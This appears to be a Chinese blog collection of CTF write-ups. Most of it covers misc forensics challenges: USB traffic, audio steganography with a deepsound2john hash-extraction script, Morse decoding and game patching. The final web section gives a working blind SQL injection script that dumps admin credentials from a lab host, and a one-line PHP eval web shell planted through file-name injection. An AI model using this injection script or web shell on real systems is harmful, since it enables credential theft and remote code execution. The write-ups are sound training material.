MISC
[DDCTF2018]第四扩展FS
foremost分离出来一个压缩包,密码即为图片详细信息里面的Pactera
,对解压出来的文件进行词频分析,得到
DCTF{huanwe1sik4o!}
也就是flag,不过提交居然不对劲,无语无语,百读到了一个wp,居然是这里面的flag,但其实是DDCTF做了一个反作弊的功能,感觉应该是平台负责人上传了自己的附件,然后flag直接用的别人的。
[SUCTF2019]protocol
usb的流量包,直接上命令
tshark -r usb.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
文件中有一大堆的0,在第一处不是0的地方发现了png头
将这个文件的内容以16进制的方式写入一个新的文件,然后用foremost分离,得到一大堆图片,不过内容都是翻转的
而且每一段图片过后就会有10张黑图,重新分析流量包,按照length排序,按顺序来数15个之后的10个包,图片数据位一模一样,但是前面有一点不一样
而且正常图片的这个字节数据也是有的,15个,按照顺序提取出来就是
4321098765edcba
而把黑色方块的这些数据提取出来,就是
67e41d02b9
1e86dc059b
293517dbe4
6da894b3c2
将对应的数据图片填上对应的黑色方块的位置,得到suctf{My_usb_pr0toco1_s0_w3ak}
。
[*CTF2019]She
分析下载的游戏发现,它是用RPG Makr XP
工具制作的一款游戏,我们下载这个工具,新建一个项目,将项目中的Game.rxproj
文件放入She游戏文件夹中,再用工具打开这个文件,就可以对游戏进行编辑了,然后开始开挂,把怪物的数值都修改到最小,咱们的搞成最大
然后就是熟悉的虐怪环节^^
然后打完之后往右边走,有9个门,不过这些门有的开不开,要按照顺序开,也会有提示,显示在3号门得到数字3,在8号门得到数字7,在2号门得到数字1,在1号门得到数字2,在5号门得到数字6,在7号门得到数字9,7号门踩完之后,中间就会出现一个隐藏门,进入就是下面的画面,9号门不能进,进了剩下的门就都进不去了,注意还要走位躲怪,碰到了会死,当然也可以把这个怪给删掉。
提示我们要把得到的数字给md5加密,我们得到的数字按照顺序是371269
,不过提交不对劲,如果是把数字的门号对应起来就是382157
,md5提交,也是不对,按照房间的顺序组合得到的数字的话,就是213697
,md5提交,成功^^
[INSHack2018]42.tar.xz
一个压缩包,疯狂的套娃,使用bash命令直接循环解压即可
while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;
得到flag
[De1CTF2019]Mine Sweeping
一个用unity&C#写的扫雷游戏,感觉难度很高,随便点两下就没了,于是想进行反汇编,修改逻辑代码,用dsSpy
工具打开\Mine Sweeping\Mine Sweeping_Data\Managed\Assembly-CSharp.dll
文件。
找到了这一段判断胜负的代码
简单分析可以发现,第一个if如果进去了,游戏退出,如果进入了else,继续扫雷,于是将第一个if的条件修改为false即可一直点,一直玩下去,全部点开,然后开个连点器点^^,就点的很快了。
全部点完之后,出来一张二维码
原来是点完了,赢了,弹出图片,应该把逻辑直接改成赢的,应该是也有用,不过我就不测试了。
扫码,得到一个网址http://qr02.cn/FeJ7dU
,访问得到{G3t_F1@g_AFt3R_Sw3ep1ng_M1n3s}
。
[INSHack2018]not so deep
频谱图分析,发现一半的flag
使用DeepSound
工具分析发现需要存在隐藏的信息,不过需要密码。
John
刚好有破解DeepSound的脚本,先用如下脚本将文件给解出来,链接。
#!/usr/bin/env python3
'''
deepsound2john extracts password hashes from audio files containing encrypted
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
This method is known to work with files created by DeepSound 2.0.
Input files should be in .wav format. Hashes can be recovered from audio files
even after conversion from other formats, e.g.,
ffmpeg -i input output.wav
Usage:
python3 deepsound2john.py carrier.wav > hashes.txt
john hashes.txt
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
it is hereby released to the general public under the following terms:
Redistribution and use in source and binary forms, with or without
modification, are permitted.
'''
import logging
import os
import sys
import textwrap
def decode_data_low(buf):
return buf[::2]
def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out
def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out
def is_magic(buf):
# This is a more efficient way of testing for the `DSCF` magic header without
# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)
# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)
# Scan for the marker...
hdrsz = 104
hdr = None
while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break
if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break
f.seek(-hdrsz + 1, os.SEEK_CUR)
if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return
# Check some header fields
mode = hdr[4]
encrypted = hdr[5]
modes = {2: 'low', 4: 'normal', 8: 'high'}
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return
if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return
sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent('''
---------------------------------------------------------------
Some files were not in .wav format. Try converting them to .wav
and try again. You can use: ffmpeg -i input output.wav
---------------------------------------------------------------
'''.rstrip()), file=sys.stderr)
用法
python3 deepsound2john.py 1.wav > flag.txt
然后去kali下面用john进行破解,得到密码azerty
。
解密得到第二段flag,0_1s_4lwayS_Th3_S4me}
。
[INSHack2017]10-cl0v3rf13ld-lane-signal
首先是改成jpg,foremost分离出来一张png,左下角还有一些红点,像是莫斯码。
左下角的数据是
.... . .-.. .--. -- .
解码也就是得到helpme
,但是不是flag。
再次分析原文件,在png的文件末尾发现一个ogg文件
百度得知这是一种音频文件,将其提取出来,播放是一段莫斯电码,丢进audacity
工具分析,提取出来莫斯码,也就是
.. -. ... .- -.--. -- ----- .-. ..... ...-- ..--.- .-- .---- .-.. .-.. ..--.- -. ...-- ...- ...-- .-. ..--.- ....- --. ...-- -.-.-- -.--.-
解码得到
insa(m0r53_w1ll_n3v3r_4g3!)
flag也就为flag{m0r53_w1ll_n3v3r_4g3!}
,不过要转为大写提交。
[RCTF2019]printer
usb流量包,先提取一下数据,然后跑一下脚本得到
A[unknown][unknown][unknown][unknown][unknown][unknown][unknown][unknown][unknown][unknown]HDGEE[unknown]FFDA[unknown][unknown][unknown][unknown][unknown][unknown][unknown][unknown][unknown]ANKIFGIIHEECDCB
处理一下,得到
AHDGEEFFDAANKIFGIIHEECDCB
但是提交错误,继续分析流量包,发现两个特殊的流量包。
内容数据像是某种编程语言
G语言就和这个差不多,画图用的吗,最后搜索找到了这个,TSPL/TSPL2 Programming Language。
找到对应两个命令的简介
命令作用
BAR 1 2 3 4
以左上角为原点,在坐标(1,2)的像素位置往右下方画上一个长3宽4的黑色像素块
BITMAP的作用不太好描述,看文档即可,如果有不懂的地方,欢迎与我联系,最后使用py将其画出来,代码如下
from PIL import Image
from pwn import *
img = Image.new( '1', (1000,1000),color=1)
pixels = img.load()
data1 = 'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF 00FFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFC3FF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF E7FFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFE7FF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF E7FFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFE7FF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF E7FFE3FF FE1FFFFF FFFFF807 C03C603F C07C07E0 007F7FF0 1F8067FF 007FF803 FC07C03F FF1FF1F0 4F8FF1FF 1FFF1FFF 3FFCFF1F 27FC7F1F F3E1FF1F F9FFFF1F F1FC1FCF F8FF1FFF 1FFF3FFE FE3F87F8 FF9FEFF8 FF1FF9FF FF8FF1FC 3FC7FCFF 1FFF1FFF 1FFEFC7F C7F9FF8F DFFC7F1F F9FFFF8F F1FC7FE3 FC7F1FFF 1FFF1FFE FCFFE7F1 FF8F9FFC 3F1FF9FF FFC7F1FC 7FE3FE3F 1FFF1FFF 0FFEF8FF E7F1FF0F BFFE3F1F F9FFFFC7 F1FC7FE3 FE3F1FFF 1FFF0FFE F8FFE7E1 FF8F3FFE 3F1FF9FF FFE3F1FC 7FE3FF1F 1FFF1FFF 47FEF8FF E7E3FF9F 7FFE1F1F F9FFFFE3 F1FC7FF3 FF8E1FFF 1FFF47FE F9FFE7E3 FFFFFFFF 1F1FF9FF FFF1F1FC 7FF3FF8C 1FFF1FFF 63FEF9FF E7F1FFFF FFFF1F1F F9FFFFF1 F1FC7FF3 FFC11FFF 1FFF63FE F9FFE7F1 FFFFFFFF 1F1FF9FF FFF1F1FC 7FE3FFE3 1FFF1FFF 71FEF9FF E7F1FFFF FFFF1F1F F9FFFFF8 F1FC7FE3 FFE71FFF 1FFF71FE F8FFE7F8 FFFFFFFF 0F1FF9FF FFF8F1FC 7FE3FFCF 1FFF1FFF 78FEF8FF E7FCFFFF FFFF0F1F F9FFFFFC 61FC7FE7 FF9F1FFF 1FFF78FE F8FFC7FE 3FFFFFFF 0F1FF9FF FFFC41FC 7FC7FF3F 1FFF1FFF 7C7EFCFF C7FF83FF FFFF0F9F F1FFFFFE 11FC3F8F FF7F1FFF 1FFF7C7E FC7FA7FF 87FFFFFF 0F9FE9FF FFFE31FC 1F1FFE7F 1FFF1FFF 7E3EFE3E 67FE3FFF FFFF1F8F 99FFFFFF 31FC403F E01F1FFF 1FFF7E3E FF80E0FC 7FFFFFFF 1FC039FF FFFE71FC 79FFFFFF 1FFF1FFF 7F1EFFF3 EFF8FFFF FFFF1FF0 F9FFFFFE F1FC7FFF FFFF1FFF 1FFF7F0E FFFFFFF8 FFFFFFFF 1FFFF9FF FFFCF1FC 7FFFFFFF 1FFF1FFF 7F8EFFFF FFF8FFFF FFFE1FFF F9FFFFF9 F1FC7FFF FFFF1FFF 1FFF7F86 FFFFFFF8 FF9F7FFE 3FFFF9FF FFFBF1FC 7FFFFFFF 1FFF1FFF 7FC6FFFF FFF8FF0F 3FFE3FFF F9FFFFF7 F1FC7FFF FFFF1FFF 1FFF7FC2 FFFFFFF8 FF8FBFFC 7FFFF9FF FFE7F1FC 7FFFFFFF 1FFF1FFF 7FE2FFFF FFF8FF8F 9FFC7FFF F9FFFFCF F1FC7FFF FFFF1FFF 1FFF7FF0 FFFFFFFC FF9F9FF8 FFFFF9FF FF8FF1FC 7FFFFFFF 1FFF1FFF 7FF0FFFF FFFC7F9F 8FF1FFFF F9FFFF0F F0FC3FFF FFFF1FFF 0FFE7FF8 FFFFFFFE 1E7F83E3 FFFFF8FF FC03C03C 0FFFFFFF 03E00078 0FF83FFF FFFF80FF F80FFFFF F83FFFFF FFFDFFFF FFFF3FFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFBFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF'
data1 = bits(int(data1.replace(' ', '').strip(), 16))
data2 = 'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF C7FFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FE38FFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFDFF7F FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFF9FF 3FFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFF9 FF3FFFFF FFFFFFFF 9FFEFBFF C7FFFFFF E1FFF8FF FFFFFC3F FFFFFFFF F9FF3FF8 FFFFFFFF FF0FFEFB FF39FF00 7F9C7FE7 2FFFFFF3 C3FC07FF FFF87E78 463F803F F01F0FFE 7BFEFEFF F7FF3F3F 9F8FFFFF EFF3FFBF FFFFFC01 FA3F9FFB FFFE7F9F FE71FCFE 7FF7FF7F 9F9FCFFF FFEFFBFF BFFFFFFF C07E7F9F FBFFFE7F FFFC71F9 FF3FF7FE FF9F3FCF FFFFEFFB FFBFFFFF FFFE7E7F 8FFBFFFE 7FFFFD75 F9FF3FF7 FFFFCF3F CFFFFFE7 FFFFBFFF FFFFFE7E 7F9FFBFF FE7FFFFD 35F9FF3F F7FFFFCF 3FCFFFFF E3FFFFBF FFFFFF80 FE7F9FFB FFFE7FFF FD2CF9FF 3FF7FFFF CF3FCFFF FFF07FFF BFFFFFFF 7CFE7F3F FBFFFE7F FFFB2CF9 FF3FF7FE 000F3FCF FFFFFC1F FFBFFFFF FE7E7E7C 7FFBFFFE 7FFFFBAC F9FF3FF7 FE7FCF3F CFFFFFFF 87FFBFFF FFFE7E7E 03FFFBFF FE7FFFFB 9EF9FF3F F7FE7FCF 3FCFFFFF FFE7FFBF FFFFFEFE 7E7FFFFB FFFE7FFF FB9E79FF 3FF7FE7F 9F3FCFFF FFEFF3FF BFFFFFFE FE7E7F9F FBFFFE7F FFF79E7C FE7FF7FF 3F9F9F8F FFFFEFF3 FFBFFFFF FE7E7F7F 1FFBFFFE 7F1FF79E 7EFCFFF7 FF3F3F9F 0FFFFFE7 F7FFBFFF FFF27EFF 3F3FFBFF FE7F0FE3 8E3F39FF F7FFCE7F C04FFFFF E1CFFF9F FFFFF019 FF9E7FFB FFFE7F1F FFFFFFC7 FFF7FFF1 FFFBCFFF FFEE3FFF 87FFFFFB E7FFE1FF FBFFE00F FFFFFFFF FFFFF7FF FFFFFFCF FFFFFFFF FFFFFFFF FFFFFFFF FFFBFFFE 7FFFFFFF FFFFFFF7 FFFFFFFF CFFFFFFF FFFFFFFF FFFFFFFF FFFFFBFF FE7FFFFF FFFFFFFF F7FFFFFF FFCFFFFF FFFFFFFF FFFFFFFF FFFFFFFB FFFE7FFF FFFFFFFF FFF7FFFF FFFFCFFF FFFFFFFF FFFFFFFF FFFFFFFF FBFE7E7F FFFFFFFF FFFFF7FF FFFFFFCF FFFFFFFF FF3FFFFF FFFFFFFF FFFBFE7E FFFFFFFF FFFFFFF7 FFFFFFFF CFFFFFFF FFFF1FFF FFFFFFFF FFFFFBFE 7CFFFFFF FFFFFFFF F03FFFFF FFC3FFFF FFFFFF1F FFFFFFFF FFFFFFF8 1F03FFFF FFFFFFFF FFF3FFFF FFFFCFFF FFFFFFFF BFFFFFFF FFFFFFFF F9FFFFFF'
data2 = bits(int(data2.replace(' ', '').strip(), 16))
cmds = '''
BAR 348, 439, 2, 96
BAR 292, 535, 56, 2
BAR 300, 495, 48, 2
BAR 260, 447, 2, 88
BAR 204, 447, 56, 2
BAR 176, 447, 2, 96
BAR 116, 455, 2, 82
BAR 120, 479, 56, 2
BAR 44, 535, 48, 2
BAR 92, 455, 2, 80
BAR 20, 455, 72, 2
BAR 21, 455, 2, 40
BAR 21, 495, 24, 2
BAR 45, 479, 2, 16
BAR 36, 479, 16, 2
BAR 284, 391, 40, 2
BAR 324, 343, 2, 48
BAR 324, 287, 2, 32
BAR 276, 287, 48, 2
BAR 52, 311, 48, 2
BAR 284, 239, 48, 2
BAR 308, 183, 2, 56
BAR 148, 239, 48, 2
BAR 196, 191, 2, 48
BAR 148, 191, 48, 2
BAR 68, 191, 48, 2
BAR 76, 151, 40, 2
BAR 76, 119, 2, 32
BAR 76, 55, 2, 32
BAR 76, 55, 48, 2
BAR 112, 535, 64, 2
BAR 320, 343, 16, 2
BAR 320, 319, 16, 2
BAR 336, 319, 2, 24
BAR 56, 120, 24, 2
BAR 56, 87, 24, 2
BAR 56, 88, 2, 32
BAR 224, 247, 32, 2
BAR 256, 215, 2, 32
BAR 224, 215, 32, 2
BAR 224, 184, 2, 32
BAR 224, 191, 32, 2
BAR 272, 311, 2, 56
BAR 216, 367, 56, 2
BAR 216, 319, 2, 48
BAR 240, 318, 2, 49
BAR 184, 351, 2, 16
BAR 168, 351, 16, 2
BAR 168, 311, 2, 40
BAR 152, 351, 16, 2
BAR 152, 351, 2, 16
'''
cmds = cmds.strip().split('\n')
def draw_bitmap(pixels, x, y, width, height, data):
width *= 8
for w in range(width):
for h in range(height):
rw = w + x
rh = h + y
pixels[rw, rh] = data1[w+h*width]
def draw_bar(pixels, x, y, width, height):
for w in range(width):
for h in range(height):
rw = w + x
rh = h + y
pixels[rw, rh] = 0
draw_bitmap(pixels, 138, 75, 26, 48, data1)
draw_bitmap(pixels, 130,579,29,32, data2)
for each in cmds:
params = each.replace('BAR ','').split(', ')
params = map(int, params)
x, y, width, height = params
draw_bar(pixels, x, y, width, height)
img = img.transpose(Image.ROTATE_180)
img.save('test.png')
得到flag
全部转换为小写进行提交。
[BSidesSF2019]thekey
又是一个usb的流量包,usb一条龙先给他服务一下,得到
VI FLAG.TTXT
ITHE FLAG IS CTFVBU[MYFAVORITEEDITORISVIMHHHHHHHHHHHHHHHHHHHAUVI;WQ
不过提交一直不正确,重新仔细检查才发现原来是脚本有一点问题,_
符号没有被输出,有时间的时候重新写一下这个脚本,所以最后的flag是flag{MY_FAVOURITE_EDITOR_IS_VIM}
。
[watevrCTF 2019]Polly
一个算术式子,这题使用py2进行计算,带入0得到119
也就是w
,也就是说flag应该是把x从0开始算,再把结果转为字符得到的结果,注意不能直接代入数据,需要使用subs
函数带入数据,得到结果
import sympy
flag = ""
x = sympy.symbols('x')
y = eval(open("1.txt","r").read())
for i in range(57):
flag += chr(y.subs(x,i))
print(flag)
# watevr{polly_polynomials_youtube.com/watch?v=THNWVVn9JO0}
WEB
[CISCN2019 总决赛 Day2 Web1]Easyweb
一个登陆框,没有测试出来什么东西,访问robots.txt
得到有备份文件的提示,一个个的尝试,最后下载到了image.php.bak
这个备份文件,源码及其分析如下。
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
当我们输入id=\0
的时候,\
被addslashes()函数处理为\\
,也就是\0
变成了\\0
,然后通过str_replace()函数,\0
被替换为空,导致\\0
被处理为\
,也就是最后的查询语句变成了
select * from images where id='\' or path=' {$path}'
导致输入的path存在注入点,例如输入path = or 1=1--+
即可造成注入,下面给出盲注脚本,有个注意点,因为过滤了单引号,所以表名使用16进制绕过,也就是0x7573657273
import requests
import time
url = "http://2078a03d-c247-4e95-9035-fa4fb0994638.node3.buuoj.cn/image.php?id=\\0&path=or id="
result = ""
last = "tmp"
i = 0
while( result != last ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
# payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)--+"%(i,mid)
# payload = "if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))>%d,1,-1)--+"%(i,mid)
# payload = "if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273),%d,1))>%d,1,-1)--+"%(i,mid)
payload = "if(ascii(substr((select/**/group_concat(username,password)/**/from/**/ciscnfinal.users),%d,1))>%d,1,-1)--+"%(i,mid)
r = requests.get(url + payload)
if "JFIF" in r.text :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=" ":
result += chr(head)
print(result)
# time.sleep(0.5)
#ciscnfinal
#images,users
#username,password
#admin4dd4694e99cf617ae027
得到账号密码,进行登录,是一个文件上传的功能,先随便上传个什么东西,回显了个这个
I logged the file name you uploaded to logs/upload.bcbba1c92ae1c186b50695ccc567df7e.log.php. LOL
是这个样子的,看来可以对文件名进行个代码注入,不过由于win下面不能直接命名一些特殊字符对于文件名来说,所以使用bp配合来上传。
发现对php是有过滤的,使用短标签来进行一个绕过
<?=@eval($_POST[1]);?>
然后cat /flag即可